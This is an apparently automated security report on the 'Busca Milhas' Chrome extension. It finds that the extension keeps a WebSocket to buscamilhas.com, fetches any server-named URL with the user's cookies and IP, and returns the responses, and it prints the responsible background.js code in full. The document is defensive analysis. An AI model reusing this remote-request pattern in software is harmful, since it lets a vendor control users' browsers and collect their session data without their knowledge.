Is Busca Milhas - Promoções safe?

Medium risk

Busca Milhas keeps a WebSocket open to its server and makes HTTP requests from your browser on the server's command.

The extension connects to the vendor's server and runs whatever web requests it is told to, using your IP address and cookies, then sends the responses (including Set-Cookie headers) back. It also opens a hidden LATAM Airlines page to generate captcha tokens on request, and registers your public IP, city, region and user agent with the vendor on every connection.

Busca Milhasv1.4.1Chrome Web Store
49Risk
Who publishes it

IN8 Serviços On-line LTDA - no other listings under this identity, 2 shared hostnames

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Busca Milhas
Declared legal entity
IN8 Serviços On-line LTDA

Shared hosts - 2 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

livelo.com.br
Also called by 2 other listings, including Milhas Por Compras
iberia.com
Also called by 6 other listings, including FlyReady, Points Path

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Extension runs server-specified web requests from your browser over a WebSocket

Code analysis shows the extension holds a WebSocket to buscamilhas.com and fetches any URL the server names, with your cookies, then returns the response to the server.

Severity
High unwanted
Type
Unexpected
CWE
CWE-506
Source
Static analysis
What actually happens
You did this

The server sends a JSON request description over the open WebSocket.

Fields: Url, Method, Headers, Body.

The extension did this

The extension fetches that URL from your browser and IP with credentials, then replies with the result.

Nothing in the code restricts which URL is requested.

Fields the server controls and the extension returns
  • Request URL
    https://www.latamairlines.com/

    The server picks any address for your browser to contact.

  • Method and body
    POST

    The server picks the HTTP method and payload.

  • Cookie header
    a=b

    Server-supplied cookies are written into your browser for the target site.

  • Your IP address
    Your home or office IP

    The request leaves from your network connection.

  • Response returned

    The status, page body and response headers go back to the server.

The code that does this

Request handler and socket loop in background.js

Readable version

handleRequest: clears target cookies, applies server cookies, fetches with credentials, returns status/body/headers

scripts/background.js
const handleRequest = async (requestData) => {  const requestID = generateUUID()  const urlObject = new URL(requestData.Url)  await cleanCookies(urlObject.origin)  let body = requestData.Body  if (    requestData.Method.toLowerCase() === 'post' &&    requestData.Headers.hasOwnProperty('content-type') &&    requestData.Headers['content-type'] === 'application/x-protobuffer'  ) {    const uint8Array = new Uint8Array(requestData.Body.length)    for (let i = 0; i < requestData.Body.length; i++) {      uint8Array[i] = requestData.Body.charCodeAt(i)    }    body = uint8Array  }  const requestOptions = {    mode: 'cors',    credentials: 'include',    method: requestData.Method,    body: body,    headers: {      ...requestData.Headers,      'x-req-id': requestID    }  }  try {    const requestCookies = requestData.hasOwnProperty('Headers')      ? requestData.Headers['cookie']      : null    if (requestCookies) {      setCookiesOnHeader(requestCookies, urlObject.hostname)    }    const response = await fetch(requestData.Url, requestOptions)    const requestResponse = await response.text()    const headers = await getResponseHeaders(requestID)    relationship.delete(requestID)    const requestResponseData = {      status: response.status,      data: requestResponse,      headers    }    if (frontSocket && frontSocket.readyState === WebSocket.OPEN) {      frontSocket.send(JSON.stringify(requestResponseData))    }  } catch (error) {    relationship.delete(requestID)    if (frontSocket && frontSocket.readyState === WebSocket.OPEN) {      frontSocket.send(JSON.stringify(error))    }    console.error('Error on handleRequest', error)  }}

connectFrontRequestor: connects to WS_URL, sends channel, passes every message to handleRequest

scripts/background.js
function connectFrontRequestor() {  if (    frontSocket &&    (frontSocket.readyState === WebSocket.OPEN || frontSocket.readyState === WebSocket.CONNECTING)  ) {    return  }  if (reconnectTimer) {    clearTimeout(reconnectTimer)    reconnectTimer = null  }  const socket = new WebSocket(WS_URL)  frontSocket = socket  socket.onopen = () => {    console.log(`Front Requestor connecting to Socket on websocketChannel "${WS_CHANNEL}"`)    socket.send(JSON.stringify({ channel: WS_CHANNEL }))  }  socket.onclose = (event) => {    if (frontSocket === socket) {      frontSocket = null    }    if (event.wasClean) {      console.log('Front Requestor Websocket was disconnected with success')      return    }    console.warn(      `Front Requestor Websocket disconnected (code=${event.code} reason="${event.reason || '-'}"), reconnecting in ${RECONNECT_DELAY_MS / 1000}s`    )    if (!reconnectTimer) {      reconnectTimer = setTimeout(() => {        reconnectTimer = null        connectFrontRequestor()      }, RECONNECT_DELAY_MS)    }  }  socket.onmessage = (event) => {    try {      const eventData = JSON.parse(event.data)      handleRequest(eventData)    } catch (e) {      console.error('Invalid WS message', e)    }  }  socket.onerror = (event) => {    console.error('An error has ocurred on Front Requestor Socket', event)  }}connectFrontRequestor()
Remote endpoint
    • wsrequestor-socket.buscamilhas.com

    WebSocket server that receives the channel frame, sends request jobs and receives responses.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed busca-milhas-promo%C3%A7%C3%B5es contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • ws-latam-extension.buscamilhas.cloud

    busca-milhas-promo%C3%A7%C3%B5es sends data to ws-latam-extension.buscamilhas.cloud. No other extension we have analysed sends data here.

  • wsrequestor-socket.buscamilhas.com

    busca-milhas-promo%C3%A7%C3%B5es sends data to wsrequestor-socket.buscamilhas.com. No other extension we have analysed sends data here.

Updated 15 October 2026ofccfgfkgnifmniheldgdellaafkfbog